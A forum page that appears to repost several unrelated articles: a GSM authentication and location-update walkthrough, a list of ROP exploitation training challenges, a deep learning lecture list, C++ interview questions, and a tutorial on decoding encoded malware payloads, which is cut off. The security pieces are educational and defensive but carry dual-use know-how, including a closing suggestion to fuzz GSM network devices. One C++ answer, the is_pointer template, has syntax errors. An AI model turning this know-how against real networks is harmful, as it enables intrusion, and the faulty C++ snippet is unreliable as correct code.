Nytro

DISSECTING GSM ENCRYPTION AND LOCATION UPDATE PROCESS 31/08/2017 0 Comments in Blog by Rashid Feroze Have you ever wondered as what happens when you turn on your mobile phone? How does it communicate to the network in a secure manner? Almost all of us would have read about TCP/IP and many of us would be experts in it but when it comes to telecom, very few know about how it actually works from inside. What’s the message structure in gsm? What kind of encryption it uses? So, today we will talking in detail about the encryption standards of gsm and how the mobile phone update it’s location to the mobile network. WHAT HAPPENS WHEN YOU TURN ON YOUR CELL PHONE? When you turn on your cell phone, It first initiates it’s radio resource and mobility management process. The phone receives a list of frequencies supported on the neighbouring cells either by the SIM or from the network. It camps on a cell depending upon the power level and the mobile provider. After that, It performs a location update process to the network where the authentication happens. After a successful location update, the mobile phone gets it’s TMSI and it is ready to do other operations now. Now, let’s verify the above statements by having a look at the mobile application debug logs. The below screenshots are from the osmocom mobile application which simulates a mobile phone working on a PC. Mobile network information sent by SIM Camping on a cell Location update requested which includes it’s LAI and TMSI Location updating accepted and used encryption standard visible. OBJECTIVE We would capture gsm data in wireshark through osmocom-bb and analyse how the entire process of gsm authentication and encryption happens. We will also see how the location update process happens. We have already talked in detail about osmocom-bb and call setup process in our last blog. We would be skipping that part in this blogpost. GSM ENCRYPTION STANDARDS A5/0 – No encryption used. Just for the sake of completeness. A5/1 – A5/1 is a stream cipher used to provide over-the-air communication privacy in the GSM cellular telephone standard. It is one of seven algorithms which were specified for GSM use. It was initially kept secret, but became public knowledge through leaks and reverse engineering. A number of serious weaknesses in the cipher have been identified. A5/2 – A5/2 is a stream cipher used to provide voice privacy in the GSM cellular telephone protocol. It was used for export instead of the relatively stronger (but still weak) A5/1. It is one of seven A5 ciphering algorithms which have been defined for GSM use. A5/3 (Kasumi) – KASUMI is a block cipher used in UMTS, GSM, and GPRS mobile communications systems. In UMTS, KASUMI is used in the confidentiality and integrity algorithms with names UEA1 and UIA1, respectively. In GSM, KASUMI is used in the A5/3 key stream generator and in GPRS in the GEA3 key stream generator. There are some others also but the above mentioned are used in majority. HOW GSM AUTHENTICATION AND ENCRYPTION HAPPENS? Every GSM mobile phone has a Subscriber Identity Module (SIM). The SIM provides the mobile phone with a unique identity through the use of the International Mobile Subscriber Identity (IMSI). The SIM is like a key, without which the mobile phone can’t function. It is capable of storing personal phone numbers and short messages. It also stores security related information such as the A3 authentication algorithm, the A8 ciphering key generating algorithm, the authentication key (KI) and IMSI. The mobile station stores the A5 ciphering algorithm. AUTHENTICATION The authentication procedure checks the validity of the subscriber’s SIM card and then decides whether the mobile station is allowed on a particular network. The network authenticates the subscriber through the use of a challenge-response method. First, a 128 bit random number (RAND) is transmitted to the mobile station over the air interface. The RAND is passed to the SIM card, where it is sent through the A3 authentication algorithm together with the Ki. The output of the A3 algorithm, the signed response (SRES) is transmitted via the air interface from the mobile station back to the network. On the network, the AuC compares its value of SRES with the value of SRES it has received from the mobile station. If the two values of SRES match, authentication is successful and the subscriber joins the network. The AuC actually doesn’t store a copy of SRES but queries the HLR or the VLR for it, as needed. Generation of SRES ANONYMITY When a new GSM subscriber turns on his phone for the first time, its IMSI is transmitted to the AuC on the network. After which, a Temporary Mobile Subscriber Identity (TMSI) is assigned to the subscriber. The IMSI is rarely transmitted after this point unless it is absolutely necessary. This prevents a potential eavesdropper from identifying a GSM user by their IMSI. The user continues to use the same TMSI, depending on the how often, location updates occur. Every time a location update occurs, the network assigns a new TMSI to the mobile phone. The TMSI is stored along with the IMSI in the network. The mobile station uses the TMSI to report to the network or during call initiation. Similarly, the network uses the TMSI, to communicate with the mobile station. The Visitor Location Register (VLR) performs the assignment, the administration and the update of the TMSI. When it is switched off, the mobile station stores the TMSI on the SIM card to make sure it is available when it is switched on again. ENCRYPTION AND DECRYPTION OF DATA GSM makes use of a ciphering key to protect both user data and signaling on the vulnerable air interface. Once the user is authenticated, the RAND (delivered from the network) together with the KI (from the SIM) is sent through the A8 ciphering key generating algorithm, to produce a ciphering key (KC). The A8 algorithm is stored on the SIM card. The KC created by the A8 algorithm, is then used with the A5 ciphering algorithm to encipher or decipher the data. The A5 algorithm is implemented in the hardware of the mobile phone, as it has to encrypt and decrypt data on the fly. Generation of encryption key(Kc) Data encryption/decryption using Kc GSM AUTHORIZATION/ENCRYPTION STEPS GSM authorization/encryption process 1. When you turn on your mobile for the first time, the MS sends it’s IMSI to the network. 2. when a MS requests access to the network, the MSC/VLR will normally require the MS to authenticate. The MSC will forward the IMSI to the HLR and request authentication Triplets. 3. When the HLR receives the IMSI and the authentication request, it first checks its database to make sure the IMSI is valid and belongs to the network. Once it has accomplished this, it will forward the IMSI and authentication request to the Authentication Center (AuC). The AuC will use the IMSI to look up the Ki associated with that IMSI. The Ki is the individual subscriber authentication key. It is a 128-bit number that is paired with an IMSI when the SIM card is created. The Ki is only stored on the SIM card and at the AuC. The Auc will also generate a 128-bit random number called the RAND. The RAND and the Ki are inputted into the A3 encryption algorithm. The output is the 32-bit Signed Response (SRES). The SRES is essentially the “challenge” sent to the MS when authentication is requested. The RAND, SRES, and Kc are collectively known as the Triplets. The HLR will send the triplets to the MSC/VLR. 4. The VLR/MSC will then forward only the RAND value to the MS. 5. The MS calculates SRES using Ki stored in it’s sim and RAND value send by the network. The MS send this SRES value back to the MSC/VLR. 6. The MSC/VLR matches the SRES value with the one that HLR sent to it. If it matches, it successfully authorizes the MS. 7. Once authenticated, both the mobile and the network generates Kc using the Ki and RAND value with the help of A8 algorithm. 8. The data is then encrypted/decrypted using this uniquely generated key(Kc) with A5 ciphering algorithm. LOCATION UPDATE STEPS. Location update process 1. When you turn on your cellphone, it first tells the network that yes I am here and I want to register to the network. After that It sends a location update request which include it’s previous LAI, It’s TMSI. 2. After receiving the TMSI, if the TMSI does not exists in it’s databse, the VLR asks for IMSI and after recieving the IMSI the VLR asks the HLR for the subscriber info based on his IMSI. Here, if the VLR does not find the TMSI in it’s database, it will find the address of the old VLR which the MS was connected to using the LAI. A request is sent to the old VLR, requesting the IMSI of the subscriber. VLR provides the IMSI corresponding to the TMSI sent by the MS. Note that the IMSI could have been obtained from the mobile. That is not a preferred option as the Location Updating Request is sent in clear so it could be used to determine the association between the IMSI and TMSI. 3. The HLR in turn asks the AuC for the triplets for this IMSI. The HLR forwards the triplets(Rand,Kc,SRES) to the VLR/MSC. 3. The MSC will take details from the VLR and pass only the RAND value to the MS. The MS will compute the SRES again and will send it back to the MSC. 4. The MSC will verify the SRES stored in the VLR and will compare to the SRES sent by the MS. If both matches then the location update is successful. 5. After it is successful, HLR update happens and it will update it’s current location and TMSI is allocated to this MS. Since the TMSI assignment is being sent after ciphering is enabled, the relationship between TMSI and the subscriber cannot be obtained by unauthorized users. The GSM mobile replies back indicating that the new TMSI allocation has been completed. Now, we will analyze the gsm packets in wireshark and check what’s really happening over the air. Immediate assignment – Radio channel requested by MS and radio channel allocated to MS by the MS provider. We can also see what kind of control channel (SDCCH/SACCH) is being used here in the channel description. 2. Location update requested – The MS sends a location update request which include it’s previous LAI and it’s TMSI. 3. Authentication request – The VLR/MSC will forward the RAND which it got from the HLR to the MS. We can clearly see the random value that the network sent to the mobile. 4. SRES generation in MS – The MS will generate the SRES value using the A3 authentication algorithm with the help of Ki stored in the sim. 5. Authentication response – The MS will send the SRES value which it calculated. We can clearly see the SRES value here. 6. Ciphering mode command – The BSC sends the CIPHERING MODE COMMAND to the mobile. Ciphering has already been enabled, so this message is transmitted with ciphering. The mobile replies back to it with mode CIPHERED. We can also see the Ciphering mode complete packet below. We can see that it is using A5/1 cipher. 7. Location updating accepted – After the successful authentication, location update happens where the MS give it’s location information to the network. 8. TMSI reallocation complete – The MS provider will allocate a TMSI to the MS and this message would be encrypted so that no one can sniff the identity of the user (TMSI). 9. Radio channel release – The allocated radio channel is released by the MS. WHAT NOW? It was noticed that sometimes operators didn’t use any encryption at all so that they can handle more load on the network. The encryption/decryption process increases the overhead. Sometimes, there are issues in the configuration of the authentication process which can be used by an attacker to bypass the complete authentication. GSM Security is a huge unexplored field where a lot has still to be explored and done. Now, when you know how to analyze the gsm data upto the lowest level, you can read, analyze and modify the code of osmocom in order to send arbitrary frames to the network or from the network to the phone. You can start fuzzing gsm level protocols in order to find out if you can actually crash any network device. There is a lot to do but that would require a very deep understanding of the gsm networks and also about the legal aspects around this. I would suggest you to create your own gsm network and run your tests on that if you want to go ahead with this. We will be posting more blog posts on gsm. Stay tuned! REFERENCES https://www.sans.org/reading-room/whitepapers/telephone/gsm-standard-an-overview-security-317 http://mowais.seecs.nust.edu.pk/encryption.shtml Sursa: http://payatu.com/dissecting-gsm-encryption-location-update-process/

ROP Emporium Learn return-oriented programming through a series of challenges designed to teach ROP techniques in isolation, with minimal reverse-engineering and bug-hunting. Beginner's Guide All Challenges ret2win ret2win means 'return here to win' and it's recommended you start with this challenge. Visit the challenge page by clicking the link above to learn more. split Combine elements from the ret2win challenge that have been split apart to beat this challenge. Learn how to use another tool whislt crafting a short ROP chain. callme Chain calls to multiple imported methods with specific arguments and see how the differences between 64 & 32 bit calling conventions affect your ROP chain. write4 Find and manipulate gadgets to construct an arbitrary write primitive and use it to learn where and how to get your data into process memory. badchars Learn to deal with badchars, characters that will not make it into process memory intact or cause other issues such as premature chain termination. fluff Sort the useful gadgets from the fluff to construct another write primitive in this challenge. You'll have to get creative though, the gadgets aren't straight forward. pivot Stack space is at a premium in this challenge and you'll have to pivot the stack onto a second ROP chain elsewhere in memory to ensure your success. Sursa: https://ropemporium.com/

CEH, CISSP?

Deep Learning (DLSS) and Reinforcement Learning (RLSS) Summer School, Montreal 2017 Deep neural networks that learn to represent data in multiple layers of increasing abstraction have dramatically improved the state-of-the-art for speech recognition, object recognition, object detection, predicting the activity of drug molecules, and many other tasks. Deep learning discovers intricate structure in large datasets by building distributed representations, either via supervised, unsupervised or reinforcement learning. The Deep Learning Summer School (DLSS) is aimed at graduate students and industrial engineers and researchers who already have some basic knowledge of machine learning (and possibly but not necessarily of deep learning) and wish to learn more about this rapidly growing field of research. In collaboration with DLSS we will hold the first edition of the Montreal Reinforcement Learning Summer School (RLSS). RLSS will cover the basics of reinforcement learning and show its most recent research trends and discoveries, as well as present an opportunity to interact with graduate students and senior researchers in the field. The school is intended for graduate students in Machine Learning and related fields. Participants should have advanced prior training in computer science and mathematics, and preference will be given to students from research labs affiliated with the CIFAR program on Learning in Machines and Brains. Deep Learning Summer School [syn] 630 views, 1:26:30 Machine Learning Doina Precup [syn] 223 views, 3:03:15 Neural Networks Hugo Larochelle [syn] 320 views, 1:25:47 Recurrent Neural Networks (RNNs) Yoshua Bengio [syn] 81 views, 1:30:25 Probabilistic numerics for deep learning Michael Osborne [syn] 211 views, 1:18:03 Generative Models I Ian Goodfellow 34 views, 34:51 Theano Pascal Lamblin [syn] 42 views, 1:05:58 AI Impact on Jobs Michael Osborne [syn] 71 views, 1:28:54 Introduction to CNNs Richard Zemel 1:28:22 Structured Models/Advanced Vision Raquel Urtasun [syn] 177 views, 55:15 Torch/PyTorch Soumith Chintala [syn] 48 views, 1:28:25 Generative Models II Aaron Courville [syn] 81 views, 1:24:30 Natural Language Understanding Phil Blunsom [syn] 40 views, 1:23:42 Natural Language Processing Phil Blunsom 62 views, 15:25 Bayesian Hyper Networks David Scott Krueger 14:01 Gibs Net Alex Lamb 196 views, 12:23 Pixel GAN autoencoder Alireza Makhzani 48 views, 16:16 CRNN's Rémi Leblond, Jean-Baptiste Alayrac [syn] 94 views, 1:23:34 Deep learning in the brain Blake Aaron Richards [syn] 70 views, 1:32:38 Theoretical Neuroscience and Deep Learning Theory Surya Ganguli [syn] 108 views, 1:23:14 Marrying Graphical Models & Deep Learning Max Welling 127 views, 1:21:05 Learning to Learn Nando de Freitas [syn] 36 views, 1:18:12 Automatic Differentiation Matthew James Johnson [syn] 54 views, 1:30:25 Combining Graphical Models and Deep Learning Matthew James Johnson 24 views, 12:52 Domain Randomization for Cuboid Pose Estimation Jonathan Tremblay 21 views, 15:48 tbd Rogers F. Silva 106 views, 16:26 What Would Shannon Do? Bayesian Compression for DL Karen Ullrich 21 views, 13:13 On the Expressive Efficiency of Overlapping Architectures of Deep Learning Or Sharir Reinforcement Learning Summer School 185 views, 1:29:32 Reinforcement Learning Joelle Pineau 84 views, 1:28:26 Policy Search for RL Pieter Abbeel 122 views, 1:26:24 TD Learning Richard S. Sutton 55 views, 1:21:20 Deep Reinforcement Learning Hado van Hasselt 79 views, 1:23:52 Deep Control Nando de Freitas 47 views, 1:23:58 Theory of RL Csaba Szepesvári [syn] 35 views, 1:29:02 Reinforcement Learning Satinder Singh 25 views, 1:21:44 Safe RL Philip S. Thomas 35 views, 43:54 Applications of bandits and recommendation systems Nicolas Le Roux 71 views, 1:02:35 Cooperative Visual Dialogue with Deep RL Devi Parikh, Dhruv Batra Sursa: http://videolectures.net/deeplearning2017_montreal/

10 Proven C++ Programming Questions to Ask on Interview May 25, 2017 Programming Interview Questions 2 Comments Need to hire C++ developers? Not confident you have the resources to pick the best ones? Don’t worry – we’re here to help you! We’ve assembled a team of expert C++ programmers who have worked hard to produce a collection of premade C++ interview questions you can use to bolster your interview process. These C++ programming questions are your secret weapon for face-to-face interviews with prospective hires: answers, explanations, follow-up questions, code snippets. Even if you’re not a C++ guru yourself, these questions will let you conduct an interview like one, helping you find the master developers your project demands! So here are the questions and answers: [Question #1 – std::unique_ptr – Standard library] [Question #2 – Rule of Five – RAII] [Question #3 – Finding bugs – Basics] [Question #4 – Automatic objects – RAII] [Question #5 – Iterators – Standard library] [Question #6 – Undefined/unspecified behaviour – Standards] [Question #7 – Macros – Preprocessor] [Question #8 – Pointer detector – Templates] [Question #9 – Insertion sort – Templates] [Question #10 – Max heap – Algorithms and data structures] [BONUS – C++ Online Test] [Question #1 – std::unique_ptr – Standard library] What happens when a std::unique_ptr is passed by value to a function? For example, in this code snippet? #include <memory> auto f(std::unique_ptr<int> ptr) { *ptr = 42; return ptr; } int main() { auto ptr = std::make_unique<int>(); ptr = f(ptr); } Why this C++ question? As mentioned before, memory management is a nontrivial burden for the C++ programmer. Smart pointers are helpful in this regard, but they must be well understood in order to be used correctly. This question tests for the interview candidate’s understanding of one common type of smart pointer. Possible answers The correct answer is that this code won’t even compile. The std::unique_ptr type cannot be copied, so passing it as a parameter to a function will fail to compile. To convince the compiler that this is fine, std::move can be used: ptr = f(std::move(ptr)); Follow-up questions The interview candidate might think that returning a noncopiable object from a function is also a compiler error, but in this case it’s allowed, thanks to copy elision. You can ask the candidate under what conditions copy elision is performed. Of course, the above construct with std::move is less than ideal. Ask the candidate how they would change the function f to make it better. For example, passing a (const) reference to the unique_ptr, or simply a reference to the int pointed to, is probably preferred. ↑↑ Scroll up to the list of C++ questions [Question #2 – Rule of Five – RAII] Write a copy constructor, move constructor, copy assignment operator, and move assignment operator for the following class (assume all required headers are already included): class DirectorySearchResult { public: DirectorySearchResult( std::vector<std::string> const& files, size_t attributes, SearchQuery const* query) : files(files), attributes(attributes), query(new SearchQuery(*query)) { } ~DirectorySearchResult() { delete query; } private: std::vector<std::string> files; size_t attributes; SearchQuery* query; }; Why this interview question? Writing boilerplate like this should be straightforward for any C++ programmer. It is also interesting to see the interview candidate’s response to the class design, and see if they question it at all. Possible answers Copy constructor: DirectorySearchResult(DirectorySearchResult const& other) : files(other.files), attributes(other.attributes), query(other.query ? new SearchQuery(*other.query) : nullptr) { } Here, it’s the check for null pointer to watch out for. As given, the query field cannot be null, but since it’s not const this may change later. Move constructor: DirectorySearchResult(DirectorySearchResult&& other) : files(std::move(other.files)), attributes(other.attributes), query(other.query) { other.query = nullptr; } Watch out for correct usage of std::move here, as well as correct “pointer stealing” for the query pointer. It must be nulled, otherwise the object will be deleted by other. Assignment operator: DirectorySearchResult& operator=(DirectorySearchResult const& other) { if (this == &other) return *this; files = other.files; attributes = other.attributes; delete query; query = other.query ? new SearchQuery(*other.query) : nullptr; return *this; } A pitfall is forgetting to check for self-assignment. It’s also worth looking out for a correct function signature, and again handling a null query. Move assignment operator: DirectorySearchResult& operator=(DirectorySearchResult&& other) { files = std::move(other.files); attributes = other.attributes; std::swap(query, other.query); return *this; } As with the move constructor, watch out for correct std::move usage and correct pointer stealing. Follow-up questions If the interview candidate hasn’t mentioned it already, ask them how the design of this class could be improved. There is no reason for SearchQuery to be a pointer! If we make it a simple object (composition), the default, compiler-generated versions of all four functions would suffice, and the destructor can be removed as well. ↑↑ Scroll up to the list of C++ questions [Question #3 – Finding bugs – Basics] There are multiple issues/bugs with the following code. Name as many as you can! #include <vector.h> void main(int argc, char** argv) { int n; if (argc > 1) n = argv[0]; int* stuff = new int[n]; vector<int> v(100000); delete stuff; return 0; } Why this programming question? In any programming language, debugging is an essential skill; C++ is no exception. Being able to debug a program on paper, without looking at its actual runtime behavior, is a useful skill, because the ability to spot incorrect code helps the programmer avoid those mistakes in their own code. Also, it’s just plain fun to pick someone else’s code apart like that, so this serves as a good warm-up question to put interview candidates at ease. Possible answers vector.h should be vector main cannot be void in C++ argv[0] is the program name, not the first argument argv[0] is a pointer to a string, and should not be assigned to n directly If argc <= 1, then n is uninitialized, and using it invokes undefined behavior vector is used without using namespace std or std:: the vector constructor might throw an exception (std::bad_alloc), causing stuff to be leaked stuff points to an array, so it should be deleted using delete[] cannot return 0 from a void function Follow-up questions For each issue the candidate identifies, ask how it can best be fixed. They should at least mention using a smart pointer or std::vector instead of a raw pointer for stuff. 10 Proven C++ Programming Questions to Ask on Interview (Explanations, Possible Answers, Following Questions)Click To Tweet ↑↑ Scroll up to the list of C++ questions [Question #4 – Automatic objects – RAII] Explain what an automatic object is (that is, an object with automatic storage duration; also called “Stack object”) and what its lifetime is. Explain how an object with dynamic storage duration (heap object) is created, and how it is destroyed. Why is dynamic storage duration discouraged unless necessary, and where is it necessary? What is the inherent problem with raw pointers owning an object? I.e. why is the following considered bad practice, and what standard library construct would you utilize if you needed a dynamically resizable array? auto p = new int[50]; Show how to initialize a smart pointer, and explain why using one is exception safe. Why this C++ interview question? Unlike garbage-collected languages, C++ puts the burden of managing object lifetimes (and thereby memory) on the programmer. There are many ways to do this wrong, some ways to do it approximately right, and few ways to do it entirely “by the book”. This series of questions drills the interview candidate about these matters. Possible answers A stack object is created at the point of its definition, and lives until the end of its scope (basically, until the closing curly brace of the block it is declared in). A heap object is created with the new operator and lives until delete is called on it. The problem with raw pointers is that ownership is not enforced; it is the responsibility of the programmer to ensure that the object pointed to is deleted, and deleted only once. Advanced candidates might also mention exception safety here, because the possibility of exceptions makes it significantly more complicated to ensure eventual deletion. Unlike its precursor C, C++ offers smart pointers, which are the preferred tool for the job. In particular, to create a “smart pointer” to a dynamically resizable array, std::vectorshould be used. An example of smart pointer usage: auto p = std::make_unique<Foo>(); Follow-up questions Ask the candidate which types of smart pointer exist in the C++ standard library, and what their differences are. Ask which ones can be used in standard containers (e.g. vector, map). You can also ask about the difference between std::make_shared<T>(…) and std::shared_ptr<T>(new T(…)). (The former is more exception-safe when used as a function argument, and might also be implemented more efficiently.) ↑↑ Scroll up to the list of C++ questions [Question #5 – Iterators – Standard library] The C++ standard library represents ranges using iterators. What is an iterator, and what different kinds do you know of? Can you explain why the following snippet fails, and why l’s iterators aren’t suitable? std::list<int> l {1, 2, 3}; std::sort(l.begin(), l.end()); Explain how the begin and end iterators of a range correspond to its elements and illustrate this by giving the expressions for begin and end iterators of an array arr. Why this question? Standard library containers are the bread and butter of writing algorithms in C++. As in any programming language, one of the most common tasks to perform on a container is to iterate over it. In the C++ standard library, this is accomplished using special-purpose, pointer-like objects called iterators, which come in different types. Asking the candidate about these will reveal how well they understand the concept of iterators, as well as the structure of the underlying container. Possible answers An iterator resembles a smart pointer, in the sense that it points to a particular object in a container. But iterators have additional operations besides deferencing, depending on their type: forward iterators can be incremented, bidirectional iterators can additionally be decremented, and random access iterators can additionally be moved by an arbitrary offset. There are also output iterators, which may for example add objects to the container when assigned to. The reason that the sort call won’t work is that it requires a random access iterator, but std::list only provides a bidirectional iterator. By convention, the begin iterator of a collection refers to the first element, and the enditerator refers one past the last element. In other words, they form a half-open range: [begin, end). Follow-up questions Ask how the code could be fixed to sort an std::list (e.g. by copying it into a vector first, and back again after sorting). You could even ask the candidate to implement an iterator for a particular data structure (e.g. an array). ↑↑ Scroll up to the list of C++ questions [Question #6 – Undefined/unspecified behavior – Standards] Describe what “undefined behavior” means, and how it differs from “unspecified behavior”. Give at least 3 examples of undefined behavior. Why this C++ question? The C++ standard does not specify the behavior of the program in every case, and deliberately leaves some things up to compiler vendors. Typically, such cases are to be avoided in practice, so this question is to test whether the interview candidate has seen practical examples of such code. Possible answers Undefined behavior (UB) means that the standard guarantees nothing about how the program should behave. Unspecified (or implementation-defined) behavior means that the standard requires the behavior to be well-defined, but leaves the definition up to the compiler implementation. This is only the textbook definition; candidates should mention that undefined behavior implies that anything might happen: the program works as intended, it crashes, it causes demons to fly out of your nose. They should mention that UB should always be avoided. They might mention that implementation-defined behavior should probably be avoided as well. Common examples of undefined behavior include: dereferencing a null or wild pointer accessing uninitialized memory, like going beyond the bounds of an array or reading an uninitialized local variable deleting the same memory twice, or more generally deleting a wild pointer arithmetic errors, like division by zero Follow-up questions If the candidate doesn’t come up with enough UB cases, you can make up some cases of dodgy-looking code and ask them whether it exhibits UB or not. ↑↑ Scroll up to the list of C++ questions [Question #7 – Macros – Preprocessor] At what stage of compilation is the preprocessor invoked, and what kind of directives are there? The following is the declaration of a macro that is used as a constant in some internal API header (B is another entity): #define A 2048*B List two issues with this macro: one related to this particular one, for which you should give illustrative example code that breaks the macro, and one related to all macros (hint: think of names). Why this question? Even though the preprocessor is typically used in C++ for just a few specific tasks, it is still important to have a basic understanding of its operation and its limitations. The preprocessor makes it very easy to shoot yourself in the foot, so “responsible usage” is essential. As stated, this looks like more of a trivia than a discussion question, and it’s up to the interviewer to dig deeper where necessary. Possible answers The preprocessor is invoked on a translation unit (“source file”) before actual compilation starts. The output of the preprocessor is passed to the compiler. Even junior candidates should give an answer along these lines. Common preprocessor directives are #include, #define, #ifdef, #ifndef, #if, #else, #elif, #endif. Candidates should be able to list most of these. They might also mention less common directives, such as #undef and #pragma. The two problems with the #define code are: Lack of parentheses, in two places. If B is defined as 1+1, then A will not have the value 4096 as expected, but rather 2049. If A is used in an expression like !A, this will expand to ~2048*B, rather than ~(2048*B), which may have a very different value. The macro should have been defined as: #define A (2048*(B)) Good candidates will mention that this should probably not have been a macro in the first place, but simply a compile-time constant. Overly short names. Preprocessor macros are all in a single scope, which spans all files #included afterwards as well, so one has to be very careful about name clashes. If some unrelated code declared an enum { A, B }, for example, that code would fail to compile with a very confusing error message. Follow-up questions It is common for candidates to mention only one of the two pairs of missing parentheses. In this case, prompt them to find more issues. This can also lead to a discussion about why the preprocessor should be avoided when possible, and what the C++ style alternatives are. ↑↑ Scroll up to the list of C++ questions [Question #8 – Pointer detector – Templates] Write a templated struct that determines, at compile time, whether its template argument T is a pointer. Why this C++ programming question? Template metaprogramming in C++ is an advanced topic, so this question is one of the c++ interview questions for experienced professionals and should not be posed to junior interview candidates. However, for senior candidates, this question can be a good indicator of the depth of their practical experience with the C++ language. Possible answers The candidate might mention that std::is_pointer already exists. It could be implemented like this: template<typename T> struct is_pointer { enum { value = false; }; }; template<typename T> struct is_pointer<T*> { enum { value = true; }; } Template overload resolution will pick the most specific version, so if the type is a pointer, the last one will be selected, which contains an enum field value with the value true. Otherwise it falls back to the first, where value is false. It is also possible to use a static const bool instead of an enum, but this has some drawbacks. The constants would still occupy memory space, so it’s not a 100% compile-time construct anymore. Moreover, you’d need to redefine the existence of value outside the template in order for it to exist, because the assignment of a value in this case does not make it into an actual definition. It would work in some cases, but would fail if you take the address, for example. Follow-up questions If the candidate doesn’t offer an explanation of their code, ask them for it. You can also ask them about what “most specific” means, i.e. how template overload resolution actually works. Please note one more time that this question is one of the advanced c++ interview questions. ↑↑ Scroll up to the list of C++ questions [Question #9 – Insertion sort – Templates] Define a function insertion_sort which accepts as first and only argument a reference to an std::array only if the element types are integral (the trait std::is_integral might be of help) and the size of the array is less than 128 elements, and sorts it using insertion sort. Why this C++ technical interview question? This tests for the candidate’s knowledge of std::enable_if, a compile-time construct which lets the C++ programmer put additional restrictions on the types that their template accepts. This is an advanced skill, useful when writing library code, for example to avoid incorrect or inefficient usage of the API. The interesting part here is the function signature, but the candidate’s ability to implement an insertion sort is also tested. It’s up to the interviewer how much emphasis to put on either of these parts. Possible answers A possible implementation: template<typename T, std::size_t N> typename std::enable_if< N < 128 && std::is_integral<T>::value, void >::type insertion_sort(std::array<T, N>& array) { for (std::size_t i = 0; i < N; i++) { for (std::size_t j = i; j > 0 && array[j] < array[j-1]; j--) { std::swap(array[j], array[j - 1]); } } } Do not punish the candidate for not knowing the exact usage of all these standard library templates. The important thing is that they grasp the overall concepts; the details can be looked up online easily enough. Follow-up questions If you haven’t asked the “pointer detector” question, you could ask the candidate here how they would implement std::enable_if and/or std::is_integral. ↑↑ Scroll up to the list of C++ questions [Question #10 – Max heap – Algorithms and data structures] Describe what a max heap is. Provide the definition of a max heap class which supports a wide range of element types and all basic operations that can be performed on a heap. Why this question? At first, this seems like a pure algorithms question, but note that we are not asking for the implementation of any of the operations. This question purely tests the candidate’s ability to design a proper C++ class. Possible answers Depending on the design decisions that the interview candidate makes along the way, the result could be something like this: template<typename T> class heap { public: void add(T const &value); T const &max() const; T remove_max(); size_t size() const; private: std::vector<T> elements; }; Look out for the following: Are the class and its operations being named consistently and intuitively? What type is being used for the internal container? std::vector is preferred, but other possibilities exist. Use of a raw pointer to an array is a red flag, because it will make the class needlessly hard to implement. What is the argument type of the add function? This should be a pointer or reference type in order to avoid needless copying. An overload that takes an rvalue reference is a bonus. What is the return value of the max and remove_max functions? Are functions marked as const where possible? Are noexcept clauses used as appropriate? Follow-up questions Many design decisions can be made along the way, each of which can be used by the interviewer as a hook to lead into further discussion about the various tradeoffs in the design. ↑↑ Scroll up to the list of C++ questions [C++ Interview Test] Prefer a more hands-off approach to selecting candidates? No problem: just use our automated multiple-choice questions C++ test instead. Just send prospective developers their own unique custom link, and you’ll automatically receive an email notification if they pass. You can make your candidate selection process even more efficient with a mix-and-match approach: use our 20-question quiz to find the top candidates, and then bring them in for an interview using our premade questions. You can save time and effort by weeding out the majority of candidates before you ever see them in person! ↑↑ Scroll up to the list of C++ questions Conclusion It remains a tricky business to assess an interview candidate’s worth within the space of an hour, or even two. Using a set of well-tested c++ programming interview questionslike the above, and calibrating them by using them on many different candidates, will help you take some of the noise out of the equation to get a better signal on the candidate’s abilities. This, in turn, will result in better hiring decisions, a stronger team, and eventually a better-functioning organization. ↑↑ Scroll up to the list of C++ questions Authors These C++ technical interview questions have been created by this team of C++ professionals: Thomas ten Cate, Ex-Googler Agustín Bergé Thomas Pigarelli Robert Haberlach Cameron Desrochers Michele Caini Sursa: https://tests4geeks.com/cpp-interview-questions/

Decoding malware via simple statistical analysis Leave a reply Intro Analyzing malware often requires code reverse engineering which can scare people away from malware analysis. Executables are often encoded to avoid detection. For example, many malicious Word documents have an embedded executable payload that is base64 encoded (or some other encoding). To understand the encoding, and be able to decode the payload for further analysis, reversing of the macro code is often performed. But code reversing is not the only possible solution. Here we will describe a statistical analysis method that can be applied to certain malware families, such as the Hancitor malicious documents. We will present this method step by step. Examples First we start with a Windows executable (PE file) that is BASE64 encoded. In BASE64 encoding, 64 different characters are used to encode bytes. 64 is 6 bits, hence there is an overhead when encoding in BASE64, as encoding one byte (8 bits) will require 2 BASE64 characters (6 bits + 2 bits). With byte-stats.py, we can generate statistics for the different byte values found in a file. When we use this to analyze our BASE64 encoded executable, we get this output: In the screenshot above see that we have 64 different byte values, and that 100% of the byte values are BASE64 characters. This is a strong indication that the data in file base64.txt is indeed BASE64 encoded. Using the option -r of byte-stats.py, we are presented with an overview of the ranges of byte values found in the file: The identified ranges /0123456789, ABCDEFGHIJKLMNOPQRSTUVWXYZ and abcdefghijklmnopqrstuvwxyz (and single charcter +) confirm that this is indeed BASE64 data. Padded BASE64 data would include one or two padding characters at the end (the padding character is =). Decoding this file with base64dump.py (a BASE64 decoding tool), confirms that it is a PE file (cfr. MZ header) that is BASE64 encoded. Now, sometimes the encoding is a bit more complex than just BASE64 encoding. Let’s take a look at another sample: The range of lowercase letters, for example, starts with d (in stead of a) and ends with } (in stead of z). We observer a similar change for the other ranges. It looks like all BASE64 characters have been shifted 3 positions to the right. We can test this hypothesis by subtracting 3 from every byte value (that’s shifting 3 positions to the left) and analyzing the result. To subtract 3 from every byte, we use program translate.py. translate.py takes a file as input and an arithmetic operation: operation “byte – 3” will subtract 3 from every byte value. This is the result we get when we perform a statistical analysis of the byte values shifted 3 positions to the left: In the screenshot above we see 64 unique bytes and all bytes are BASE64 characters. When we try to decode this with base64dump, we can indeed recover the executable: Let’s move on to another example. Malicious documents that deliver Hancitor malware use an encoding that is a bit more complex: This time, we have 68 unique byte values, and the ranges are shifted by 3 positions when we look at the left of a range, but they appear to be shifted by 4 positions when we look at the right of a range. How can this be explained? One hypothesis, is that the malware is encoded by shifting some of the bytes with 3 positions, and the other bytes with 4 positions. A simple method is to alternate this shift: the first byte is shifted by 3 positions, the second by 4 positions, the third again by 3 positions, the fourth by 4 positions, and so on … Let’s try out this hypothesis, by using translate.py to shift by 3 or 4 positions depending on the position: Variable position is an integer that gives the position of the byte (starts with 0), and position % 2 is the remainder of dividing position by 2. Expression position % 2 == 0 is True for even positions, and False for uneven positions. IFF is the IF Function: if argument 1 is true, it returns argument 2, otherwise it returns argument 3. This is how we can shift our input alternating with 3 and 4. But as you can see, the result is certainly not BASE64, so our hypothesis is wrong. Let’s try with shifting by 4 and 3 (instead of 3 and 4): This time we get the ranges for BASE64. Testing with base64dump.py confirms our hypothesis: Conclusion Malware authors use encoding 